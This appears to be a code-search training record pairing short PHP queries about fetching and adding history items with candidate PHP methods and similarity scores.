"public function shift() { \n $item = $this->offsetGet(0);\n \n $this->itemsCollection()->update(array(), array('$pop' => array(\n self::ITEMS_OBJECT_NAME => -1\n )));\n \n $this->decrementLength();\n \n return $item;\n }",
"public function getNext()\n {\n $nextIndex = $this->getIndex() + 1;\n\n return $this->offsetGet($nextIndex);\n }",
"protected function getOne() : DrinkInterface\n {\n if ($this->shelfs[$this->current]->count() == 0) {\n $this->current = $this->current - 1;\n }\n $drink = $this->shelfs[$this->current]->shift();\n\n return $drink;\n }",
"private function getNextKey()\n\t{\n\t\tif ($this->store->count() == 0)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$pk = 0;\n\t\t\tforeach ($this->store as $key => $value)\n\t\t\t{\n\t\t\t\tassert( 'is_int($key)' );\n\t\t\t\t\n\t\t\t\tif ($key > $pk)\n\t\t\t\t{\n\t\t\t\t\t$pk = $key;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn ++ $pk;\n\t\t}\n\t}",
"public function next($idol)\n {\n $query = $this->_em->createQuery('\n SELECT i\n FROM \\Dodici\\Fansworld\\WebBundle\\Entity\\Idol i\n WHERE i.id > :idolId\n ORDER BY i.id DESC\n ')\n ->setParameter('idolId', $idol->getId())\n ->setMaxResults(1);\n\n return $query->getOneOrNullResult();\n }",
"public function next()\n {\n // @see array_shift which does this directly in php\n // return array_shift($this->queueItems);\n\n if (empty($this->queueItems)) {\n return null;\n }\n\n $first = current($this->queueItems);\n\n // remove this from the queue\n array_shift($this->queueItems);\n\n return $first;\n }",
"public function getLastItem()\n {\n if ($this->valid() === false) {\n return null;\n }\n return $this->getRow($this->count() - 1);\n }",
"function first()\n{\n\t$this->rewind();\n\treturn $this->current();\n}",
"public function getFirstItem();",
"public function previous(): int;",
"function head(array $list)\n{\n return array_shift($list);\n}",
"public function getNextValue();",
"public static function getFirstLowPriorityCall()\n {\n return static::query()\n ->whereNull('operator_id')\n ->where('priority', static::PRIORITY_LOW)\n ->first();\n }",
"function getFirstItem() { return $this->m_firstItem; }",
"public function getNext();",
"public function getNext();",
"public function first() {\n return $this->seek(0);\n }",
"public function getPreviousPost()\n\t{\n\t\treturn static::find()\n\t\t\t->where('id < :id', [':id' => $this->id])\n\t\t\t->orderBy('time_create DESC')->limit(1)->One();\n\t}",
"public function first()\n {\n $this->rewind();\n return $this->current();\n }"
] | [
"0.6045378",
"0.6044267",
"0.60023725",
"0.5888067",
"0.5825808",
"0.58172786",
"0.5814804",
"0.58115906",
"0.57840335",
"0.5763508",
"0.57511073",
"0.5720066",
"0.57008135",
"0.56978065",
"0.56857467",
"0.56593865",
"0.56390935",
"0.5625356",
"0.5625356",
"0.5611595",
"0.56111413",
"0.5592727",
"0.5587592",
"0.55226123",
"0.55153376",
"0.5504514",
"0.54999226",
"0.5491937",
"0.5463897",
"0.5461434",
"0.543852",
"0.5437278",
"0.5425602",
"0.5424715",
"0.54245955",
"0.5395465",
"0.5391547",
"0.5380061",
"0.5377163",
"0.536969",
"0.5351255",
"0.53449285",
"0.53387296",
"0.53322285",
"0.532952",
"0.53262603",
"0.532582",
"0.53225064",
"0.5320067",
"0.5319171",
"0.53088176",
"0.5308444",
"0.529828",
"0.52961886",
"0.529467",
"0.52895623",
"0.5283453",
"0.5283453",
"0.5283453",
"0.5283453",
"0.5283453",
"0.5283453",
"0.5283453",
"0.5283453",
"0.52772474",
"0.5270062",
"0.52597064",
"0.52589804",
"0.52516943",
"0.5246747",
"0.52226037",
"0.5221236",
"0.52179295",
"0.521534",
"0.5203048",
"0.52018535",
"0.5200354",
"0.5197819",
"0.5195163",
"0.5192961",
"0.51915616",
"0.51799434",
"0.5177057",
"0.5170767",
"0.51701677",
"0.51663005",
"0.51623434",
"0.5154035",
"0.5148354",
"0.51455253",
"0.5144532",
"0.51392776",
"0.5137254",
"0.5134687",
"0.51328844",
"0.51281327",
"0.51281327",
"0.51214266",
"0.51180804",
"0.5116979"
] | 0.5846255 | 4 |
/ Get the nth item in the history (where the zeroeth record is the most recent) | public function getNth ( $index )
{
$value = end ( $this->_list ) ;
$i = 0 ;
while ( $i < $index )
{
$value = prev ( $this->_list ) ;
$i ++ ;
}
return $value ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getLastItem() {}",
"public function getLastItem() {}",
"function get_recent_items($num = 10)\n{\n return get_db()->getTable('Item')->findBy(array('sort_field' => 'added', 'sort_dir' => 'd'), $num);\n}",
"public function lastItem();",
"function GetHistoryItem($val) /*12_05_2007 возвращает адрес из истории со смещением назад равным $val*/\n\t\t{\n\t\tif($this->history[count($this->history)-$val])\n\t\t\t$ret = $this->history[count($this->history)-$val];\n\t\telse\n\t\t\t$ret = $_SERVER['SERVER_NAME'];\n//\t\treturn $this->history[count($this->history)-1]; \n\t\treturn $ret;\n\t\t}",
"public function getLatestRecord();",
"public function getLatestItem()\n {\n return end($this->items);\n }",
"public function getLatestHistory() {\n $history = $this->getHistory();\n if (count($history) === 0) {\n return null;\n }\n return $history[count($history) - 1];\n }",
"public function lastItem() {\n\t\treturn $this->fastForward()->current();\n\t}",
"function getLastItem() { return $this->m_lastItem; }",
"public function getLast ()\n {\n return reset ( $this->_list ) ;\n }",
"function last_records($rcount)\n{\n \n}",
"public function get_lastThree() {\n\n $query = $this->db->query('SELECT * FROM recipes WHERE recipes.published ORDER BY recipes.lastModDate DESC LIMIT 3');\n\n return $result = $query->result();\n }",
"public function getLastIndex()\n {\n return $this->index - 1;\n }",
"public function last() {\n if ($this->count >= 1) {\n return $this->items[count($this->items) - 1];\n }\n else\n return null;\n }",
"public function last(int $n = 0) {\n $keys = array_keys($this);\n if (sizeof($keys) <= $n) return null;\n return $this[$keys[sizeof($keys) - 1 - $n]];\n }",
"public function getLastItem()\n {\n if ($this->valid() === false) {\n return null;\n }\n return $this->getRow($this->count() - 1);\n }",
"public function lastN($expression, $n): static;",
"public function getHistory()\n\t{\n\t\t$log = $this->getLog();\n\t\t$history = array($this->initial);\n\t\t/* if our log is empty (or incorrect), then we cannot walk it at all */\n\t\tif (!isset($log[$this->initial]))\n\t\t\treturn $history;\n\t\t$next = $log[$this->initial]->next_action_id;\n\t\t/* log always has the latest entry,\n\t\t\t so build it walking to the next item,\n\t\t\t starting from the initial step */\n\t\twhile (!is_null($next)) {\n\t\t\t$history[] = $next;\n\t\t\tif (isset($log[$next])) {\n\t\t\t\t$next = $log[$next]->next_action_id;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn $history;\n\t}",
"public function getLast()\n {\n $k = count($this);\n if ($k > 0) {\n return $this[$k - 1];\n }\n }",
"public function get($index)\n\t{\n\t\treturn parent::get($index - 1);\n\t}",
"public function getItemsHistory()\n {\n return $this->get(self::_ITEMS_HISTORY);\n }",
"function getRecentEntries($number = 5)\r\n{\r\n global $context, $smcFunc;\r\n \r\n if (!is_numeric($number) || empty($number))\r\n $number = 5;\r\n \r\n \r\n}",
"function top()\n {\n return $this->items[count($this->items) - 1];\n }",
"public function getRecentRecord($count)\n\t{\n\t\treturn $this->model->orderBy('created_at', 'DESC')\n\t\t ->take($count)\n\t\t ->get();\n\t}",
"public function PreviousOf($item)\n {\n return $item->GetPrevious();\n }",
"function getHistory() {\n\t\treturn db_query_params ('SELECT * FROM artifact_history_user_vw WHERE artifact_id=$1 ORDER BY entrydate DESC, id ASC',\n\t\t\t\t\tarray ($this->getID())) ;\n\t}",
"function get_previous_item($item = null)\n{\n if (!$item) {\n $item = get_current_record('item');\n }\n return $item->previous();\n}",
"public function getLastItemChangeId()\n {\n return $this->doRequest(array('sessionId' => $this->sessionId), 'GetLastItemChangeId');\n }",
"public function takeLast($howMany);",
"public function lastKey(): ?int;",
"function get ($idx = \"\") {\n\t\tif ($idx)\n\t\t\treturn $this->get_event($idx);\n\t\telse {\n\t\t\tif ($this->cursor < $this->count())\t\n\t\t\t\treturn $this->get_event($this->cursor++);\n\t\t}\n\t}",
"function last()\r\n {\r\n if ($this->count()>=1)\r\n {\r\n return($this->items[count($this->items)-1]);\r\n }\r\n else\r\n {\r\n return(null);\r\n }\r\n }",
"public function getLastCountsList(){\n return $this->_get(8);\n }",
"public function getLast()\n\t{\n\t\t$this->_db->setQuery(\"SELECT publish_down FROM $this->_tbl ORDER BY publish_down DESC LIMIT 1\");\n\t\treturn $this->_db->loadResult();\n\t}",
"public function getLast(): int {\n return $this->last;\n }",
"function getLastViewed();",
"public function GetLastRecord(){$this->LastPosts();return $this->lastrecord;}",
"public function get(int $index);",
"public function get(int $index);",
"function getUriHistory(string $uri, int $count):string {\n // 2 : two first items\n // -1 : all except last item\n // -2 : all except two last items\n $items = explode('/', $uri);\n if ($count < 0) $count = count($items) + $count;\n $count = min($count, count($items));\n return implode('/', array_slice($items, 0, $count));\n }",
"public function last() { \t\n try{\n if (!is_array($this->Items)) return $this->Items; \t\n if (!count($this->Items)) return null; \t\n end($this->Items); \t\n return $this->Items[key($this->Items)]; \n }catch(Exception $e){\n throw $e;\n }\n }",
"protected function getHistoryRecord() {\n\t\tif (!$this->model->isNew()) {\n\t\t\t/** @var HasHistory $model */\n\t\t\t$model = $this->model->getStoredCopy();\n\n\t\t\t// Using stored copy, in order to safeguard partial representations of\n\t\t\t// existing models.\n\t\t\t$this->historyRecord = $model->getHistory();\n\t\t}\n\n\t\tif (empty($this->historyRecord)) {\n\t\t\t$this->historyRecord = $this->createHistoryRecord();\n\t\t}\n\n\t\treturn $this->historyRecord;\n\t}",
"function getLast3Liked(){\n global $USER;\n $query = dbQuery(\"SELECT liked FROM user_interests WHERE user_id= '\".$USER['id'].\"'\");\n\n while($row = mysql_fetch_array($query)){\n $allLikes = unserialize($row['liked']);\n }\n if (!$allLikes)\n $allLikes = array();\n $last3 = array_splice($allLikes, -3, 3);\n return $last3;\n}",
"public function last()\n {\n if($this->length()>0)\n {\n return $this->getAt(($this->length()-1));\n }\n throw new \\OutOfBoundsException();\n }",
"public function last() {\n\t\treturn $this->valueForKey($this->lastKey());\n\t}",
"public function last()\n {\n foreach (array_reverse($this->lists) as $list) {\n foreach ($list->reverse() as $record) {\n return $record;\n }\n }\n return null;\n }",
"public function get_last_ten_entries()\r\n\t{\r\n\t\t$query = $this->db->get(\"email_workflow\", 10);\r\n\r\n\t\treturn $query->result();\r\n\t}",
"function getLastRecord()\n\t{\n\t\t$this->db->select(\"que_Id,answer\");\n\t\t$this->db->limit(3);\n\t\t$this->db->order_by(\"answer_Id\", \"desc\");\n\t\t$query = $this->db->get(\"quiz\");\n\t\treturn $query;\n\t}",
"public function getAndRemoveLastItem();",
"public function fetchHistory(): array;",
"public function last()\n {\n $record = R::findOne( $this->table_name(), \" order by id desc \");\n\n return $this->map_reford_to_object( $record );\n }",
"function last($n=1) \n {\n //if we have a valid element, return it\n if ($this->count - $n >= 0) \n return $this->stack[$this->count-$n];\n //otherwise, return null\n else\n return null;\n }",
"function getLastRecord() {\n mysql_data_seek( $this->recordSet, mysql_num_rows($this->recordSet)-1 );\n return mysql_fetch_array( $this->recordSet ); }",
"public function last() {\n\t\t$result = $this->get_result();\n\n\t\treturn array_pop( $result );\n\t}",
"public function last($n = 1)\n {\n if ($this->count - $n < 0) {\n return null;\n }\n\n return $this->stack[$this->count - $n];\n }",
"public function getLast();",
"public function getLast();",
"public function last()\n {\n return end($this->items);\n }",
"public function retrieveLastItemId() {\n return $this->itemsDB->retrieveLastItemId();\n }",
"function get_nextitemrecno($itemID, $nextorprev, $debug = false) {\n\t\t$q = (new QueryBuilder())->table('itemsearch');\n\t\t$expression = $nextorprev == 'next' ? \"MAX(recno) + 1\" : \"MIN(recno) - 1\";\n\t\t$q->field($q->expr($expression));\n\t\t$q->where('itemid', $itemID);\n\t\t$sql = DplusWire::wire('database')->prepare($q->render());\n\n\t\tif ($debug) {\n\t\t\treturn $q->generate_sqlquery($q->params);\n\t\t} else {\n\t\t\t$sql->execute($q->params);\n\t\t\treturn $sql->fetchColumn();\n\t\t}\n\t}",
"public function getLastOrder();",
"public function itemHistory(string $accessKey, int $itemId, string $server)\n {\n return Guzzle::get(\"/private/market/item/history\", [\n RequestOptions::QUERY => [\n 'access' => $accessKey,\n 'item_id' => $itemId,\n 'server' => $server,\n ]\n ]);\n }",
"function get_recent_files($num = 10)\n{\n return get_records('File', array('sort_field' => 'added', 'sort_dir' => 'd'), $num);\n}",
"private function getMostRecentLineIndex()\n {\n $c = count($this->_model['lines']);\n if ($c <= 0) {\n throw new \\Exception(\"No lines have been added. The $memberName method applies to the most recent line. To use this function, first add a line.\");\n }\n\n return $c-1;\n }",
"public function last()\n {\n return Arr::last($this->items);\n }",
"public function getLast()\n {\n $post = Post::findFirst([\"order\" => \"id DESC\"]);\n\n if($post == true)\n {\n return $post->id + 1;\n }\n else\n {\n return 1;\n }\n }",
"public function nthToEnd($n) {\n if ($n >= $this->size) {\n return;\n }\n // calculate the number of times of traversal, starting from head node\n $lastIndex = $this->size - 1 ;\n $travCount = $lastIndex - $n - 1; // traverse 1 less time since starting from head node\n $curr = $this->head;\n\n for ($i=0; $i <= $travCount; $i++) { \n $curr = $curr->next;\n }\n return $curr->data;\n }",
"public function getLast()\n {\n $this->update();\n $count = sizeof($this->data);\n if (isset($this->data[$count - 1])) {\n return $this->updateValueIfNeeded($this->data, $count - 1);\n }\n return null;\n }",
"public function getLastQuery(): string\n {\n return array_values(array_slice($this->History, -1))[0];\n }",
"public function getCurrent() {\n return $this->current-1;\n }",
"public function PreviousOf($item)\n {\n return $item->GetPrevious();\n }",
"public function PreviousOf($item)\n {\n return $item->GetPrevious();\n }",
"public function getLastPage(): int;",
"function getNextRecord() { return mysql_fetch_array( $this->recordSet ); }",
"public function restarIndice($index){\n return intval($index)-1;\n }",
"public function getItemByIndex($i) {\n if(isset($this->data[$i])) :\n return $this->data[$i];\n elseif($i<$this->count()) : \n $keys = array_keys($this->data);\n if(isset($keys[$i])) :\n return $this->data[$keys[$i]];\n endif;\n endif; \n return null;\n }",
"function getMostRecentCodeMovement() {\n $res = $this->all();\n $index = count($res) - 1;\n return $res{$index}->code;\n }\n}",
"public function last()\r\n\t{\r\n\t\treturn end($this->_items);\r\n\t}",
"public function last() {\n return end($this->list);\n }",
"function getNextAttempt($item_id){\n $query = \"select max(attempt) as attempt from email_history where item_id = \" . $item_id;\n\n $queryResponse = db::query($query);\n if($queryResponse){\n $queryResponse = $queryResponse[0];\n return $queryResponse['attempt'] + 1;\n }\n return 1;\n }",
"function getLastAccess()\n\t{\n\t\t$lastAccess = (int) $this->query(\"SELECT created\n\t\t\tFROM files\n\t\t\tWHERE queueID = '\" . sqlite_escape_string($this->getQueueID()) . \"'\n\t\t\tORDER BY created DESC\")->fetchSingle();\n\t\treturn $lastAccess;\n\t}",
"public function previous(): int;",
"function readItemIndex() {return $this->_itemindex;}",
"function get_previous_page(){\n\t\t$query = \"SELECT * FROM \" . Database::$table . \" ORDER BY timestamp DESC LIMIT 1\";\n\t\treturn Database::get_all_results($query);\n\t}",
"public function lastModification() : int;",
"public function getHistory()\n {\n \treturn QuizResult::where('user_id', '=', Auth::user()->id)->orderBy('id', 'DESC')->limit(5)->get();\n }",
"public function get(int $index): mixed;",
"public function getPrev()\n {\n return self::find()->where(['<', 'id', $this->id])->orderBy(['id' => SORT_DESC])->limit(1)->one();\n }",
"public function last_level($n=0) {\n\t\treturn $this->sets[':default']->last_level($n);\n\t}",
"public function latest($limit);",
"public function latest();",
"public function last();",
"public function last();",
"public function last();",
"public function last()\n {\n return $this->execGetRequest(['allow_state' => true], UrlBuilder::RESOURCE_GET_LATEST_NEWS);\n }",
"public function getPrevious();",
"function getHistory()\n\t{\n\t\tif (intval($this->id)==0) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// $db = Zend_Registry::get('db');\n\t\t// $sql = sprintf('select * from object_history where link_to=%d and link_id=%d order by cts desc',$ot,$id);\n\t\t// $rs = $db->fetch_all($sql);\n\t\t// return $rs;\n\n\t\t$s = 'select id,auth_user_id,ctime,link,f,v0,v1 from base_diff ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t// $s.= ' order by ctime ';\n\t\t$s.= ' union all ';\n\t\t$s.= 'select id,auth_user_id,cts,link,\\'-None-\\',message,null from object_history ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t$s.= ' order by ctime desc ';\n\n\t\t// $s = $d->select();\n\t\t// $s->from('object_history');\n\t\t// $s->where('link = ?', $this->link() );\n\t\t// $s->order('cts');\n\t\t$r = SQL::fetch_all($s);\n\t\treturn $r;\n\t}",
"function get_next_item($item = null)\n{\n if (!$item) {\n $item = get_current_record('item');\n }\n return $item->next();\n}",
"function current() {\n return $this->records[$this->key()];\n }"
] | [
"0.6279073",
"0.6279073",
"0.6160534",
"0.60325885",
"0.6013905",
"0.6013598",
"0.5899421",
"0.5830558",
"0.58204037",
"0.5727718",
"0.57224476",
"0.5722312",
"0.5661831",
"0.5607937",
"0.56059533",
"0.5596253",
"0.5588485",
"0.55615675",
"0.5556144",
"0.55413485",
"0.55334556",
"0.5521527",
"0.5475904",
"0.5466317",
"0.5459138",
"0.5446072",
"0.5445546",
"0.54389155",
"0.53792197",
"0.53687406",
"0.5343062",
"0.53425115",
"0.5337194",
"0.5329809",
"0.53114116",
"0.5311001",
"0.5308223",
"0.52912825",
"0.52896035",
"0.52896035",
"0.5286714",
"0.5285368",
"0.5280414",
"0.525522",
"0.5255117",
"0.52495235",
"0.5245027",
"0.5233373",
"0.52258706",
"0.52197915",
"0.51983005",
"0.5195063",
"0.5186464",
"0.51815486",
"0.5179597",
"0.5168655",
"0.5162797",
"0.5162797",
"0.5156805",
"0.5149937",
"0.51429397",
"0.5137738",
"0.5137693",
"0.5135251",
"0.51288325",
"0.5124171",
"0.51155436",
"0.51036423",
"0.50969523",
"0.5096289",
"0.50622755",
"0.50617594",
"0.50617594",
"0.50614345",
"0.50606227",
"0.50585335",
"0.50540274",
"0.50477177",
"0.5046084",
"0.50454694",
"0.5044821",
"0.5036781",
"0.50353336",
"0.5028474",
"0.5020981",
"0.5015025",
"0.5014864",
"0.5014106",
"0.5011646",
"0.501144",
"0.501094",
"0.500936",
"0.50047636",
"0.50047636",
"0.50047636",
"0.50039715",
"0.499985",
"0.49979377",
"0.49961507",
"0.49862513"
] | 0.6202439 | 2 |
/ Add an item to the history | public function append ($path)
{
// make sure we don't have a duplicate filename - highly unusual as two people should not be using Studio/MB concurrently, but when testing quite possible to do two appends within one second...
// because so unlikely in normal use we handle this the naive way by waiting a second so our naming scheme doesn't get overelaborated
$retries = 0 ;
$now = TimeDate::getInstance()->getNow();
$new_file = null;
for($retries = 0; !file_exists($new_file) && $retries < 5; $retries ++)
{
$now->modify("+1 second");
$time = $now->__get('ts');
$new_file = $this->getFileByTimestamp( $time );
}
// now we have a unique filename, copy the file into the history
copy ( $path, $new_file ) ;
$this->_list [ ] = $time ;
// finally, trim the number of files we're holding in the history to that specified in the configuration
// truncate the oldest files, keeping only the most recent $GLOBALS['sugar_config']['studio_max_history'] files (zero=keep them all)
$to_delete = $this->getCount() - $this->_historyLimit;
if ($this->_historyLimit != 0 && $to_delete)
{
// most recent files are at the end of the list, so we strip out the first count-max_history records
// can't just use array_shift because it renumbers numeric keys (our timestamp keys) to start from zero...
for ( $i = 0 ; $i < $to_delete ; $i ++ )
{
$timestamp = array_shift( $this->_list ) ;
if (! unlink ( $this->getFileByTimestamp( $timestamp ) ))
{
$GLOBALS [ 'log' ]->warn ( "History.php: unable to remove history file {$timestamp} from directory {$this->_dirname} - permissions problem?" ) ; }
}
}
// finally, remove any history preview file that might be lurking around - as soon as we append a new record it supercedes any old preview, so that must be removed (bug 20130)
if (file_exists($this->_previewFilename))
{
$GLOBALS [ 'log' ]->debug( get_class($this)."->append(): removing old history file at {$this->_previewFilename}");
unlink($this->_previewFilename);
}
return $time ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function addToHistory(string $item): void {\n\t\t// as before. Also don't store empty values to history.\n\t\tif (trim($item) === '' || $this->lastItem === $item) {\n\t\t\treturn;\n\t\t}\n\n\t\t\\readline_add_history($item);\n\t\t$this->lastItem = $item;\n\n\t}",
"public function add($item);",
"public function add($item);",
"private function addUrlToHistory(string $url): void\n {\n $this->session->pushItemToSessionItemArray(\"url-history\", $url, 5);\n }",
"function add($item);",
"public function add($item) {\n $this->items[$item->id()] = $item;\n }",
"function addToHistory() {\n if ($this->getRequestMethod() != \"POST\") {\n $this->response('', 406);\n }\n $data = json_decode(file_get_contents(\"php://input\"),true);\n $userId = $data[\"user_id\"];\n $videoId = $data[\"video_id\"];\n $auth = $this->getAuthorization();\n if (!$this->validateAuthorization($userId, $auth)) {\n $this->response('', 400);\n }\n \n $query = \"insert into history (user_id, video_id) values($userId, $videoId);\";\n $r = $this->conn->query($query) or die($this->conn->error.__LINE__);\n $success = array('status' => \"Success\", \"msg\" => \"Added to History.\", \"data\" => $data);\n $this->response(json_encode($success),200);\n }",
"abstract public function add_item();",
"public function push($item): void;",
"function post_addItem() {\n\n if ((isset($this->input['_no_history']) && $this->input['_no_history'])\n || (!static::$logs_for_item_1\n && !static::$logs_for_item_2)) {\n return;\n }\n\n $item1 = $this->getConnexityItem(static::$itemtype_1, static::$items_id_1);\n $item2 = $this->getConnexityItem(static::$itemtype_2, static::$items_id_2);\n\n if (($item1 !== false)\n && ($item2 !== false)) {\n\n if ($item1->dohistory\n && static::$logs_for_item_1) {\n $changes[0] = '0';\n $changes[1] = \"\";\n $changes[2] = addslashes($this->getHistoryNameForItem1($item2, 'add'));\n Log::history($item1->getID(), $item1->getType(), $changes, $item2->getType(),\n static::$log_history_1_add);\n }\n\n if ($item2->dohistory && static::$logs_for_item_2) {\n $changes[0] = '0';\n $changes[1] = \"\";\n $changes[2] = addslashes($this->getHistoryNameForItem2($item1, 'add'));\n Log::history($item2->getID(), $item2->getType(), $changes, $item1->getType(),\n static::$log_history_2_add);\n }\n }\n }",
"function rec($log_item)\n\t{\n\t\t$this->items[] = $log_item;\n\t}",
"public function push($item)\n {\n $this->list[] = $item;\n }",
"protected function trackAdd($item, $key) {\n\t\t/** @var RepeaterPage $item */\n\t\t$item->traversalPages($this);\n\t\tparent::trackAdd($item, $key);\n\t}",
"public function addItem($key, $value);",
"public function push($item)\n {\n $this->items[] = $item;\n }",
"function addHistory($artifact, $history){\n\t\tforeach($history as $h){\n\t\t\t$time = strtotime($h['date']);\n\t\t\t$uid = user_get_object_by_name($h['by'])->getID();\n\t\t\t$importData = array('time' => $time, 'user' => $uid);\n\t//hack!!\n\t\t\t$old = $h['old'];\n\t//\t\tif($h['field']=='assigned_to'){\n\t//\t\t\tif($old!='none'){\n\t//\t\t\t\t$old = user_get_object_by_name($old)->getID();\n\t//\t\t\t} else {\n\t//\t\t\t\t$old = 100;\n\t//\t\t\t}\n\t//\t\t}\n\t//\t\tif($h['field']=='status_id'){\n\t//\t\t\t$status = array('Open' =>1, 'Closed' => 2, 'Deleted' => 3);\n\t//\t\t\t$old = $status[$old];\n\t//\t\t}\n\t//\t\tif($h['field']=='close_date'){\n\t//\t\t\t$old = strtotime($old);\n\t//\t\t}\n\t//end hack\n\t\t\t$artifact->addHistory($h['field'],$old, $importData);\n\t\t}\n\t}",
"public function addItem($item){\n $this->items[] = $item;\n }",
"public function add($item, $id = null);",
"public function addRecipeToHistory($recipe)\n {\n $recipe_ids = $this->getAttribute('recipe_history', array());\n if (!in_array($recipe->getRecipeId(), $recipe_ids))\n {\n\t array_unshift($recipe_ids, $recipe->getRecipeId());\n\t $this->setAttribute('recipe_history', array_slice($recipe_ids, 0, 4));\n }\t\n }",
"function simple_history_add($args) {\n\n\t$defaults = array(\n\t\t\"action\" => null,\n\t\t\"object_type\" => null,\n\t\t\"object_subtype\" => null,\n\t\t\"object_id\" => null,\n\t\t\"object_name\" => null,\n\t\t\"user_id\" => null,\n\t\t\"description\" => null\n\t);\n\n\t$args = wp_parse_args( $args, $defaults );\n\n\t$action = esc_sql($args[\"action\"]);\n\t$object_type = esc_sql($args[\"object_type\"]);\n\t$object_subtype = esc_sql($args[\"object_subtype\"]);\n\t$object_id = esc_sql($args[\"object_id\"]);\n\t$object_name = esc_sql($args[\"object_name\"]);\n\t$user_id = $args[\"user_id\"];\n\t$description = esc_sql($args[\"description\"]);\n\n\tglobal $wpdb;\n\t$tableprefix = $wpdb->prefix;\n\tif ($user_id) {\n\t\t$current_user_id = $user_id;\n\t} else {\n\t\t$current_user = wp_get_current_user();\n\t\t$current_user_id = (int) $current_user->ID;\n\t}\n\n\t// date, store at utc or local time\n\t// anything is better than now() anyway!\n\t// WP seems to use the local time, so I will go with that too I think\n\t// GMT/UTC-time is: date_i18n($timezone_format, false, 'gmt')); \n\t// local time is: date_i18n($timezone_format));\n\t$localtime = current_time(\"mysql\");\n\t$sql = \"\n\t\tINSERT INTO {$tableprefix}simple_history \n\t\tSET \n\t\t\tdate = '$localtime', \n\t\t\taction = '$action', \n\t\t\tobject_type = '$object_type', \n\t\t\tobject_subtype = '$object_subtype', \n\t\t\tuser_id = '$current_user_id', \n\t\t\tobject_id = '$object_id', \n\t\t\tobject_name = '$object_name',\n\t\t\taction_description = '$description'\n\t\t\";\n\t$wpdb->query($sql);\n}",
"public function addStepToHistory($stepName);",
"public function add( $item )\n\t\t{\n\t\t\tarray_push( $this->items, $item );\n\t\t}",
"public function addUrl() {\r\n\t\t$current = $this->params['url']['url'];\r\n\t\t$accept = array('show', 'admin_show', 'admin_index');\r\n\t\tif(in_array($this->action, $accept)) {\r\n\t\t\tif ($this->Session->read('history.current') != $current){\r\n\t\t\t\t//$this->Session->write('history.previous', $this->Session->read('history.current'))->write('history.current', $current);\r\n\t\t\t}\r\n\t\t}\r\n\t}",
"function addItem(SitemapItem $item){\r\n $this->items[] = $item;\r\n }",
"public function add($entity)\n {\n $this->getEventDispatcher()->dispatch(\n TrackingHistoryEvents::PRE_CREATE,\n new TrackingHistoryEvent($entity)\n );\n\n parent::add($entity);\n\n $this->getEventDispatcher()->dispatch(\n TrackingHistoryEvents::POST_CREATE,\n new TrackingHistoryEvent($entity)\n );\n }",
"public function addItem($item)\n\t{\n\t\t$this->_items[] = $item;\n\t}",
"public function addHistoryStatus(NostoOrderStatusInterface $status)\n {\n $this->historyStatuses[] = $status;\n }",
"function addItemForUpdate($item) {\n $this->_update[$item->getId()] = $item;\n }",
"public function appendItemHistorys(Down_GuildItemHistory $value)\n {\n return $this->append(self::_ITEM_HISTORYS, $value);\n }",
"public function addReservationHistory(int $storeId, int $productId, int $basketId, float $quantity): void\n\t{\n\t\t$this->reservationHistory[] = compact(\n\t\t\t'storeId',\n\t\t\t'productId',\n\t\t\t'basketId',\n\t\t\t'quantity',\n\t\t);\n\t}",
"public function add($item, int $index): void;",
"public function addItem(ItemInterface $item);",
"public function addItem(ItemInterface $item);",
"public function AddItem($item)\n {\n $this->_items[] = $item;\n }",
"function add($item) {\n\t\t\tif(!$this->contains($items)) {\n\t\t\t\tarray_push($this->items, $item);\n\t\t\t}\n\t\t}",
"protected function add($item)\n {\n if ($item instanceof Item) {\n $this->breadcrumb[] = (object) [\n 'url' => $item->getUrl(),\n 'title' => $item->getTitle(),\n ];\n }\n }",
"public function addItem($item)\n {\n // Push item into list of array\n array_push($this->items, $item);\n }",
"public function addToFavorite($account_id, $item_id);",
"abstract protected function onBeforeAdd($oItem);",
"function addHistory($field_name,$old_value, $importData = array()) {\n\t\tif (array_key_exists('user', $importData)){\n\t\t\t$user = $importData['user'];\n\t\t} else {\n\t\t\tif (!session_loggedin()) {\n\t\t\t\t$user=100;\n\t\t\t} else {\n\t\t\t\t$user=user_getid();\n\t\t\t}\n\t\t}\n\t\tif (array_key_exists('time',$importData)){\n\t\t\t$time = $importData['time'];\n\t\t} else {\n\t\t\t$time = time();\n\t\t}\n\t\treturn db_query_params ('INSERT INTO artifact_history(artifact_id,field_name,old_value,mod_by,entrydate) VALUES ($1,$2,$3,$4,$5)',\n\t\t\t\t\tarray ($this->getID(),\n\t\t\t\t\t $field_name,\n\t\t\t\t\t $old_value,\n\t\t\t\t\t $user,\n\t\t\t\t\t $time)) ;\n\t}",
"public function addHistory(History $l)\n\t{\n\t\tif ($this->collHistorys === null) {\n\t\t\t$this->initHistorys();\n\t\t}\n\t\tif (!in_array($l, $this->collHistorys, true)) { // only add it if the **same** object is not already associated\n\t\t\tarray_push($this->collHistorys, $l);\n\t\t\t$l->setUser($this);\n\t\t}\n\t}",
"public function insert($item): void;",
"public function push($item) {\n array_unshift($this->stack, $item);\n }",
"public function add_item($zajlib_feed_item){\n\t\t$this->items[] = $zajlib_feed_item; \n\t}",
"function AddToHistory($arParams, $Provider, $Event) {\n\t\tif (ToLower($Provider)!='_log') {\n\t\t\t$arFields = array(\n\t\t\t\t'RECEIVER' => $arParams['TO'],\n\t\t\t\t'SENDER' => $arParams['SENDER'],\n\t\t\t\t'MESSAGE' => $arParams['MESSAGE'],\n\t\t\t\t'PROVIDER' => $Provider,\n\t\t\t\t'EVENT' => $Event,\n\t\t\t\t'DATETIME' => date('Y-m-d H:i:s'),\n\t\t\t);\n\t\t\tCWD_SMS_History::Add($arFields);\n\t\t}\n\t}",
"public function insertItem($item){\n\t\t$hour = date ( 'H', strtotime ( $item->list_time ) );\n\t\t$this->hours[$hour][DayShelfStrategy::HOUR_FIELD_ITEMLIST][] = $item;\n\t}",
"public function ___added(Saveable $item) {\n\t\t$this->log(\"Added\", $item);\n\t}",
"public function add($item)\n {\n $this->queueItems[] = $item;\n }",
